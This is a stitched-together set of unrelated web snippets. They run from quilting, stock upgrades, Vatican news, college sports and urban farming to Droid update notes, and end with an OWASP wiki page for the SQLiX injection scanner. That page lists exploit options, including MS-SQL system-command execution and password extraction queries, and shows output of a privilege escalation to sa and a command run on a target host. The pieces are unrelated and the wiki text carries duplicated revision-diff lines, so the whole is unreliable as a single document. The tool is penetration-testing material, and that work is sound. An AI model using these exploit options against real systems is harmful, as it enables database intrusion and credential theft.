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I'm sure if we ask nicely, they'll let us know how they came up with the order for the OIs ...
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I've finished my Block of the Day Quilt – now known as my Rainbow Block Quilt! I am really excited with how this one turned out. It's so bright and fun! The blocks are each unique and it's such a beautiful sampling of so many designer's fabrics. I used white sashing (Bella Solids) and I think it really makes the blocks pop. I used coordinating fabrics for a fun stripe on the back.
I quilted this free motion style and used a Denyse Schmidt floral from Katie Jump Rope. The final size measures 48″ x 62″.
I could really see this quilt on a toddler bed, but that's probably because I have two young kids myself and see everything through a mom's eyes. It'd be perfect to cuddle under on the couch as well!
I've decided to start selling some of my quilts in an Etsy shop! I figured it would justify all the time I've been spending on this hobby. And answer my husband's question of "what are you going to do with another quilt?"
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The Zacks Analyst Blog Highlights: Hillshire Brands, Pilgrim's, Smithfield Foods, Hormel Foods and Tyson Foods
Jan 11, 2013, 09:30 ET
CHICAGO, Jan. 11, 2013 /PRNewswire/ -- Zacks.com announces the list of stocks featured in the Analyst Blog. Every day the Zacks Equity Research analysts discuss the latest news and events impacting stocks and the financial markets. Stocks recently featured in the blog include Hillshire Brands Company (NYSE: HSH), Pilgrim's Corp. (Nasdaq: PPC), Smithfield Foods, Inc. (NYSE: SFD), Hormel Foods Corporation (NYSE: HRL) and Tyson Foods Inc. (NYSE: TSN).
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Hillshire Brands Upped to Strong Buy
On January 9, 2013, Zacks Investment Research upgraded Hillshire Brands Company (NYSE: HSH) to a Zacks Rank #1 (Strong Buy), on the back of a strong performance in the first quarter 2013.
Why the Upgrade?
Hillshire Brands Company, the new name for Sara Lee Corporation's North American business, has been witnessing rising earnings estimates, driven by solid first quarter performance after its spin-off from Sara Lee. The long-term expected earnings growth rate for this stock is 8.15%.
Hillshire Brands Company reported adjusted earnings of 51 cents per share in the first quarter of 2013, comprehensively beating the Zacks Consensus Estimate of 32 cents by 59.4%. Earnings increased 19 cents from the prior-year quarter attributable to strong top-line growth.
Adjusted net sales grew 2.0% from the prior-year quarter to $1.01 billion in the first quarter of 2013 on the back of volume growth and the strong performance of the retail segment. The company results were in line with the Zacks Consensus Estimate.
Hillshire Brands entered into an agreement to sell its Australian bakery business - Kitchens of Sara Lee Pty Ltd. The divestment of this subsidiary will enable Hillshire to concentrate on its North American retail and food businesses.
The Zacks Consensus Estimate for fiscal 2013 increased 3.9% to $1.58 per share as most of the estimates were revised higher over the last 90 days. For fiscal 2014, the Zacks Consensus Estimate increased by a penny to $1.69 per share over the same time frame
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Curia vision will be one of 'service' to Pope, local Churches
Oct. 10, 2013
After the conclusion of their meetings, two cardinals from Pope Francis' group of eight reveal that curia reform will largely focus on service to Pope Francis and the universal Church in its various areas. "We want to change the look – that the curia be at the service of the Pope, and also at the service of the local Churches, the universal Church, and the episcopal conferences," Cardinal Oswald Gracias of Bombay, India told CNA on Oct. 7.
Cardinal Gracias was appointed by Pope Francis to be among the eight members to the council of cardinals instituted by the pontiff in April to advise him on matters regarding church reform and governance. "The vision of the Pope is an open and merciful Church," Cardinal Gracias said, also touching on the upcoming Synod of Bishops slated to take place in October of 2014. "We want to make the synod a real thought from all the bishops of the world, and come to a conclusion, because the world is very distinct." "The languages are different and the challenges are different," he noted, "and we want to see how we can put everything together."
In an Oct. 9 interview with CNA, Cardinal George Pell of Sydney, Australia – also among the eight council members – spoke on the theme of the upcoming synod, "The pastoral challenges of the family in the context of evangelization." "The family is a fundamental element in society, we speak of the family as the domestic church, its fundamental to the church, its fundamental to the life of society," he stressed, "The family weakens, society weakens." "We believe the Christian teaching on marriage is beautiful and life-giving, and it's worked for two thousand years and we want to be able to put together new strategies to give people hope."
The plan for the synod at this time, he noted is to "bring together the Christian teaching and the analyses of the situation, and these go out in different parts of the world…there will be different strategies to confront that." Cardinal Pell also touched on the questions concerning the Apostolic Constitution "Pastor Bonus," a document written by Bl. John Paul II which outlines the role of the Roman Curia in the Church. He said that despite recent comments from Vatican spokesman Fr. Federico Lombardi that the document would not be changed, the council is still discussing the matter at length, uniting their efforts to find the best method to execute the reform.
Throughout their meetings, Cardinal Gracias noted the strong presence of the Holy Father, emphasizing that "the Pope only listened, supported and greeted us." Although the council is "still in discussion," Cardinal Gracias expressed his confidence that "The Holy Father will give us a direction, he is a good Pope that gives great hope for the Church, the world, and all of us, the bishops." The council of cardinals concluded their first set of meetings on Oct. 3, and will begin their next session in just under two months on Dec. 3, 2013. Rome correspondent Marta Jimenez contributed to this article.
Source: Catholic News Agency
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Pac-12's Rush resigns amid controversy
Walnut Creek, CA – Ed Rush has resigned as the officiating coordinator of the Pac-12 Conference following his controversial comments regarding Arizona men's basketball coach Sean Miller.
According to reports, Rush told officials during meetings before the Pac-12 Tournament that an extra $5,000 or a trip to Cancun would be the reward for calling a technical foul or ejecting Miller.
Pac-12 commissioner Larry Scott said the league conducted an investigation into the allegations and determined that the comments were made in a joking manner.
Nevertheless, Rush has ended his tenure, effective immediately.
"My first and highest concerns have always been the integrity of the game of basketball and the honor of the craft of officiating," said Rush. "While I am proud of what we have accomplished, my decision to resign reflects my strong desire to see the Pac-12 officiating program continue to grow and thrive."
Rush, a former NBA official, has served as a consultant to the Pac-12 men's basketball officiating program since 2007 and was named the coordinator of officials in May 2012.
Following Rush's comments, Miller was hit with a controversial technical foul late in a loss to UCLA in the conference semifinals after arguing over a double-dribble call against Arizona's Mark Lyons. The Wildcats went on to drop a 66-64 decision.
In the postgame press conference, Miller said he never cursed at the officials and said he didn't berate them. He also said it was his first technical foul of the season.


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The islanders gather around the trapdoor and begin to chant in a mysterious language. What could they possibly be up to?
The pirate raft reaches the island...
And the pirates storm forward, hampered by the sheer cliffs and an odd feeling of dread, caused by the strange chanting. The man in the crow's nest fires, but misses.
The pirate captain lets out his fierce battle cry:
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Unfortunately, it scares his own crew more than the enemy. Two jump into the water, before realizing that they now look like idiots.
The Marine officer grabs the colors, and with a rousing chorus of "God Save the Queen" fills his troops with a feeling of pride and patriotism, overcoming the strange chanting. Two marines (the farthest to the left and the one in the front of the boat) fire their muskets and the pirate captain is gunned down. The officer cleaves the island girl in half.
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Mysterious Indiana Jones Journal Arrived At UChicago After USPS Tried To Be Helpful With Lost Package
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If you're an applicant and sent this to us: Why? How? Did you make it? Why so awesome? If you're a member of the University community and this belongs to you or you've gotten one like it before, PLEASE tell us how you acquired it, and whether or not yours came with a description — or if we're making a big deal out of the fact that you accidentally slipped a gift for a friend in to the inter-university mail system. If you are an Indiana Jones enthusiast and have any idea who may have sent this to us or who made it, let us know that, too.I love that "why so awesome" question slipped in there... There was also speculation that it might be part of a viral marketing campaign or alternative reality game. But, in the end, the answer was really quite mundane. This was really about... the US Postal Service being helpful (or trying to be). There's a guy named Paul Charfauros, who makes such replicas and sells them on eBay. He told the University of Chicago that the USPS had contacted him recently to inform him that it had lost one of his packages, as it had slipped out of an envelope.
"Somewhere between Guam and Italy the replica fell out of its original external package and was lost in Honolulu, Hawaii," Garrett Brinker, director of undergraduate outreach for the university, said in an interview with Wired. "Then for some reason, with fake postage, no tracking, not even a zip code — it looks like the Postal Service had to manually write in a zip code on the package — somehow without all of that the package landed in our laps in Chicago, Illinois."Basically, the package above was in another envelope address to the real buyer -- but when the inner package slipped out, the USPS assumed that it was an accurate package, and shipped it on to the address at the University, even without the postage (and, apparently, they didn't even ask for the proper postage from the recipient, which is a little odd). Either way, the seller has agreed to let the University keep the copy in exchange for some UChicago swag. And, back at the University "multiple departments" are now fighting over the journal. Perhaps they should consider buying a few more from Charfauros...


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It's a holiday miracle! This year we've expanded our eligible countries to include the following: US (excluding Puerto Rico and its other territories and possessions), Canada, United Kingdom, Germany, Netherlands, Switzerland, Austria, Norway, Finland, Czech Republic, Australia, China (excluding Hong Kong and Macau), Taiwan, Japan, South Korea, India (excluding the State of Tamil Nadu), and Brazil. If you're keeping track, that's like quadruple the locales we normally ship to, so huzzah!
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FORT WAYNE, Ind. – The King University men's volleyball team traveled to Indiana University-Purdue University Fort Wayne on Friday night as part of a two-match road swing against nationally-ranked opponents, falling to the No. 15 Mastodons in a 3-0 sweep despite keeping the second and third sets in doubt until the final moments.
Eddie Moushikhian was unintimidated by the big stage, hitting .389 for the evening with a match-high 19 kills and just five errors. Matthew DeLong had 32 assists for the Tornado (7-11), also combining with Moushikhian to account for both of King's service aces. Jeremy Funk, who currently ranks 17th nationally in digs per set, added to his season average with a match-high nine digs.
The teams were virtually deadlocked in kills, assists, digs, and service errors. IPFW (12-3), however, held King to a .169 attack percentage on 89 attempts because of their team total of 8.5 blocks, while IPFW had one less kill than King on 21 fewer attempts for an attack percentage of .426. Ten Mastodons registered at least one termination, and IPFW hit a blistering .667 in a 25-15 first set victory.
The Mastodons led the second set from start to finish, jumping out to an early 5-1 lead, and forced a Tornado timeout as they pushed their advantage to 12-6 moments later. King kept the deficit manageable before scoring three straight points to trim the IPFW lead to 16-14. King would pull within two points on four more occasions, and used a Moushikhian kill to cut IPFW's lead to just 24-23 before a service error on the next play gave the Mastodons a 2-0 lead in the match.
King came out firing in a third set that featured 10 ties and a pair of lead changes. The Tornado took their first lead at 4-3 and led by as many as three points in the early going. IPFW took the lead for good with a combined block from the entire front line that was the second of five straight IPFW points, giving the Mastodons a 15-14 lead at that time.
King attempted to battle back, closing the deficit to just 22-20 as part of a 4-1 run that featured a Matthew Lychock termination and Moushikhian adding a kill and a service ace. The Tornado, however, would come no closer, as IPFW scored three of the final four points to close out the match with a 25-21 third-set win.
The Tornado will travel to face No. 13 Ball State University on Saturday night at 7:00 p.m. King will then participate in a tournament hosted by McKendree University in Lebanon, Ill. before returning to Conference Carolinas play for the season's final five regular season matches. All five conference matches will take place in Bristol, with the first scheduled for 7:00 p.m. against Pfeiffer University on Wednesday, March 19.


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Amy Miller
Amy Miller walked right out of law school and into a weedy and specialized area of law—Tenth Amendment jurisprudence. "The thing about working in Constitutional Law, though, is that you tend to use parts of many areas of law to create cohesive policy that makes sense in the real world," she said. "Sometimes I have to hit rewind to 1L to form the big picture, so having that 3 year-sized arsenal of information at my fingertips is an incredible asset."
Amy said she was blessed with professors who pushed her past her limits and forced her to bring a novel approach to the study of law. "It wasn't easy, but it was worth it, because now I know that I am capable of handling complicated work without doubting myself," she said.
In her current position, the most rewarding aspect of her job is her ability to influence upcoming legislation by bringing a legal perspective to the policy discussion. "Issue-spotting is something that lawyers do very well, and it comes in very handy when you're sitting around a table trying to figure out what exactly it is about a particular statute or policy that isn't working, and what needs to be done to fix it," she said. "Being able to be the person who can stand up and say, 'I understand what's going on and I know how to improve this' is not only rewarding, but incredibly validating."
Amy advises prospective law students to ask themselves one tough question: do I want to be a lawyer? "It's not an easy job. Being a lawyer means more than just arguing a case, or filing the right paperwork; it means that there's a good chance that at some point, you're going to be responsible for the future and livelihood of another human being. Everything I do, I do knowing that it has the potential to affect my boss's career. It's an overwhelming feeling, and it's something you need to be prepared for," she said.


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Hayseed's Big City Farm Supply
- Location: Brooklyn, New York
- Specialty: Supplies for the Urban Farmer
- Price range: $-$$
- Website: bigcityfarmsupply.com
Store History
- Founded: Brooklyn, NY
Hayseed's Big City Farm Supply is a pop-up shop located in Brooklyn, dedicated to urban farming and open now through June. You can find what you need to start a garden, as well as other homesteading sundries, like chicken and rabbit feed and beekeeping supplies. They also offer weekend workshops on subjects like Beekeeping, Backyard Livestock, Vermicomposting, and Garden Planning.
A collaborative effort between the people behind Brooklyn Grange, Domestic Construction and Brooklyn Homesteader, Hayseed's is a great shop and resource. I recently attended their workshop on how to start your own vegetable garden, and it was both fun and informative, tailored to the urban dweller. They gave tips for backyard and rooftop gardens, and for smaller spaces like window sills and fire escapes.
I look forward to going back soon, and encourage others to check it out if you're in the area. Hayseed's Big City Farm Supply is located at 218 India Street in Greenpoint, Brooklyn, and open Wednesday–Friday 12–8 pm, Saturday 10–6 pm, and Sunday 12–5 pm through the end of June 2012.
For more about Hayseed's Big City Farm Supply, visit their store page over at Marketplace.
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We just received word Verizon has begun rolling out a new software update for the Motorola Droid. The over the air update brings the Android operating system up to Android 2.0.1 and includes a heavy number of bug fixes.
For step-by-step instructions on how to perform the download, please visit verizonwireless.com/droidsupport.
The following enhancements to the Droid by Motorola have been made:
- OS stability is improved.
- Battery life is improved.
- Camera auto focus functionality is improved, and time between shots is reduced.
- Enhancements for three-way calling.
- Audio for incoming calls is improved.
- When receiving a call on call waiting, the speakerphone now remains on.
- Bluetooth® functionality is improved; background echo is eliminated.
- Improved Bluetooth phone book transfer of contacts to in-vehicle Bluetooth solutions.
- After closing a GPS application, the GPS icon will now automatically be removed from the notification panel.
- Users can now receive SMS and MMS messages after an EMS message is received.
- SMS and MMS may now be sent to seven-digit addresses.
- Google® contact merging has been updated to accommodate seven-digit numbers.
- Visual Voice Mail notices now arrive instantaneously.
- The corporate calendar widget user interface is updated.
Update: Found a video posted from GFQ Network.
If you own a Droid and have received the update, let us know your thoughts on how it works.


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Reverse Garbage: Keeping Reusables Out Of Landfill
Have you ever seen an amazing DIY project and wondered 'Where are they getting all these materials? Am I the only person who doesn't have access to hessian bags, old doors and reclaimed wood?' If you live in Brisbane or Sydney then there's a good chance your local DIYers are finding their materials at Reverse Garbage.
Reverse Garbage is a not-for-profit workers cooperative that collects industrial and commercial discards from hundreds of local businesses and sells them at ridiculously low prices to their local communities, saving skip loads of reusable materials from landfill.
The warehouse has a constant, varying supply of timber, fabric, vinyl, plastic and metal discards from local manufacturers, upholsterers, retailers, builders and government departments so it's worth staying up to date on what they get in.
You can find out more about Reverse Garbage on their Brisbane and Sydney websites or you can see pics of new Brisbane stock as it comes in on their facebook page.
If you're in the states The Scrap Exchange is a similar organisation in Durham, North Carolina.
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OWASP SQLiX v1.0 is available for download [http://cedri.cc/tools/SQLiX_v1.0.tar.gz '''here'''].
OWASP SQLiX v1.0 is available for download [http://cedri.cc/tools/SQLiX_v1.0.tar.gz '''here'''].
== Features ==
== Features ==
Revision as of 06:13, 22 May 2008
SQLiX, coded in Perl, is a SQL Injection scanner, able to crawl, detect SQL injection vectors, identify the back-end database and grab function call/UDF results (even execute system commands for MS-SQL). The concepts in use are different than the one used in other SQL injection scanners. SQLiX is able to find normal and blind SQL injection vectors and doesn't need to reverse engineer the original SQL request (using only function calls).
SQLiX is a SQL Injection scanner which attempts to fill the gap between what commercial software available on the market can do and what can really be done to detect and identify SQL injection.
Current injection methods used by commercial web assessment software are based on error generation or statement injections.
error generation:
The error generation method is quite simple and is based on meta characters like single quotes or double quotes. By injecting these characters in the original SQL request, you generate a syntax error which could result in an SQL error message displayed in the HTTP reply. The main issue with this technique is the fact that it's only based on pattern matching. There is no way to handle multiple languages or complex behaviors when the error message is filtered by the server-side scripts.
statement injection:
The second method used is statement injection. Let's look at an example:
The target URL
(0) is http://target.example.com/news.php?id=25.
The scanner will try to compare the HTML content of the original request with the HTML content of
(1) http://target.example.com/news.php?id=25%20or%201=1 (2) http://target.example.com/news.php?id=25%20or%201=0
If the request (1) provides the same result as request (0) and request (2) doesn't, the scanner will conclude that SQL injection is possible. This method works fine, but is very limited by the syntax of the original request. If the original request contains parentheses, store procedures or function calls, this method will rarely work. Worse, if the variable is used by multiple SQL requests, all with different syntaxes, there is no automatic way to make them all work simultaneously.
Frequently you will see more advanced scanners like SQLBrute from www.justinclarke.com trying to reverse engineer the original SQL syntax by injecting multiple requests with different sets of parentheses or comas. This method is a little more time consuming but does provide better results (for free), especially when error messages are not displayed.
Another global issue concerning SQL injection is the fact that pen testers frequently conclude that a given SQL injection vulnerability can't be exploited. By concluding this incorrect statement they are inviting their customers to not patch the vulnerability.
How could SQLiX help to fill the gap?
- SQLiX uses multiple techniques to determine if the current server-side script is vulnerable to SQL Injection
- conditional errors injection
- blind injection based on integers, strings or statements
- MS-SQL verbose error messages ("taggy" method)
- SQLiX using UDF (User defined functions) or function calls thus no need to reverse engineer the original SQL syntax
- SQLix is able to identify the database version and gather sensitive information for the following SQL servers: MS-Access, MS-SQL, MySQL, Oracle and PostgreSQL.
- The comparison module of SQLiX is able to deal with complex HTML contents even when they include dynamic ads
- SQLiX contains an exploit module to demonstrate how a hacker could exploit the found SQL injection to gather sensitive information
OWASP SQLiX v1.0 is available for download here.
Note: the hostname in this link does not resolve. Perhaps some kind soul can upload a local copy the tool to a location that is reachable?
Command line usage
Usage: SQLiX.pl [options]
-help Show this help
Target specification:
-url [URL] Scan a given URL. Example: -url="http://target.com/index.php?id=1" --post_content [CONTENT] Add a content to the current [URL] and change the HTTP method to POST -file [FILE_NAME] Scan a list of URI provided via a flat file. Example: -file="./crawling" -crawl [ROOT_URL] Scan a web site from the given root URL. Example: -crawl="http://target.com/"
Injection vectors:
-referer Use HTTP referer as a potential injection vector. -agent Use HTTP User agent as a potential injection vector. -cookie [COOKIE] Use the cookie as a potential injection vector. Cookie value has to be specified and the injection area tagged as "--INJECT_HERE--". Example: -cookie="userID=--INJECT_HERE--"
Injection methods:
-all Use all the injection methods. -method_taggy Use MS-SQL "verbose" error messages method. -method_error Use conditional error messages injection method. -method_blind Use all blind injection methods. -method_blind_integer Use integer blind injection method. -method_blind_string Use string blind injection method. -method_blind_statement Use statement blind injection method. -method_blind_comment Use MySQL comment blind injection method.
Attack modules:
-exploit Exploit the found injection to extract information. by default the version of the database will be retrieved -function [function] Used with exploit to retrieve a given function value. Example: -function="system_user" Example: -function="(select password from user_table)" -union Analyse target for potential UNION attack [MS-SQL only].
MS-SQL System command injection:
-cmd [COMMAND] System command to be executed. Example: -cmd="dir c:\\" -login [LOGIN] MS-SQL login to use if known. -password [PASSWORD] MS-SQL password to use if known.
-v=[n] Verbose mode level v=0 => no output, only results are displayed at the end v=2 => realtime display, provide minimum result info v=5 => debug view [all url,content and headers are displayed]
Output example
- MS-SQL System command execution
$ perl SQLiX.pl -file crawling -all -v=2 -exploit -cmd="dir c:\\"
====================================================== -- SQLiX -- © Copyright 2006 Cedric COCHIN, All Rights Reserved. ====================================================== Analysing URI obtained by flat file [crawling] http://www.target.example.com/DocumentDescription-HR.asp?DocID=2 [+] working on DocID [+] Method: MS-SQL error message [FOUND] MS-SQL error message (implicite without quotes) [FOUND] function [@@version]: Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov 19 2001 13:23:50 Copyright (c) 1988-2000 Microsoft Corporation Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4) [INFO] System command injector: [INFO] Current database: HR [INFO] We are not sysadmin for now [INFO] Checking OpenRowSet availibility - please wait... [INFO] Current user login: [HR] [FOUND] OPENROWSET available - (login [sa] | password [sa]) [INFO] Privilege escalation - from [HR] to [sa] =========================================================================== Volume in drive C has no label. Volume Serial Number is 00BC-6F73 Directory of c:\ 11/21/2005 06:36p <DIR> 403679d1f6ca54e5384256556434111d 07/14/2006 10:49a <DIR> Documents and Settings 07/22/2005 02:21p <DIR> honeypot 07/21/2005 04:38p <DIR> iDefense 03/08/2002 08:23a <DIR> Inetpub 07/14/2006 03:21p <DIR> Program Files 08/07/2006 04:11p 622 tmp.txt 11/28/2005 06:06p <DIR> WINNT 1 File(s) 622 bytes 7 Dir(s) 183,328,768 bytes free =========================================================================== [FOUND] MS-SQL error message RESULTS: The variable [DocID] from [ http://www.target.example.com/DocumentDescription-HR.asp?DocID=2 ] ... ... is vulnerable to SQL Injection [TAG implicite without quotes - MSSQL].
- MySQL, PostgreSQL function Injection
$ perl SQLiX.pl -file crawling -all -v=2 -exploit
====================================================== -- SQLiX -- © Copyright 2006 Cedric COCHIN, All Rights Reserved. ====================================================== Analysing URI obtained by flat file [crawling] http://www.target.example.com/MySQL-DocumentDescriptionMagicQuote.asp?DocID=2 [+] working on DocID [+] Method: MS-SQL error message [+] Method: SQL error message [FOUND] Match found INPUT:[user] - "Microsoft OLE DB Provider for ODBC Drivers" [INFO] Error without quote [INFO] Database identified: MySQL Server [INFO] Current function: version() [INFO] length: 19 4.1.20-community-nt [FOUND] SQL error message http://www.target.example.com/PGSQL-DocumentDescription.asp?DocID=2 [+] working on DocID [+] Method: MS-SQL error message [+] Method: SQL error message [FOUND] Match found INPUT:['] - "Microsoft OLE DB Provider for ODBC Drivers" [INFO] Error without quote [INFO] Database identified: PostgreSQL Server [INFO] Current function: version() [INFO] length: 88 PostgreSQL 8.0.7 on i686-pc-mingw32, compiled by GCC gcc.exe (GCC) 3.4.2 [FOUND] SQL error message RESULTS: The variable [DocID] from [ http://www.target.example.com/MySQL-DocumentDescriptionMagicQuote.asp?DocID=2 ] ... ... is vulnerable to SQL Injection [Error message (user) - MySQL]. The variable [DocID] from [ http://www.target.example.com/PGSQL-DocumentDescription.asp?DocID=2 ] ... ... is vulnerable to SQL Injection [Error message (') - PostgreSQL].
Future Development
Currently working on a module able to dump the database schema and the data of the vulnerable database.
PS: If you are a real Perl developer (not like me ;) ), feel free to provide code improvement or advice.
OWASP SQLiX Project Created! - 09:45, 28 August 2006 (EDT)
While the SQLiX Project has been under development for some time now, it has only recently been donated to OWASP.
The OWASP community would like to thank Cedric Cochin for the generous donation.
Feedback and Participation:
We hope you find the OWASP SQLiX Project useful. Please contribute to the Project by volunteering for one of the Tasks, sending your comments, questions, and suggestions to email@example.com. To join the OWASP SQLiX Project mailing list or view the archives, please visit the subscription page.
Project Contributor
The project is lead by Cedric Cochin (cedric.cochin at gmail dot com)
Project Sponsors
If you would like to help SQLiX project developement, feel free to contact the project leader.
Please refer to the OWASP SQLiX Project Roadmap for current tasks.
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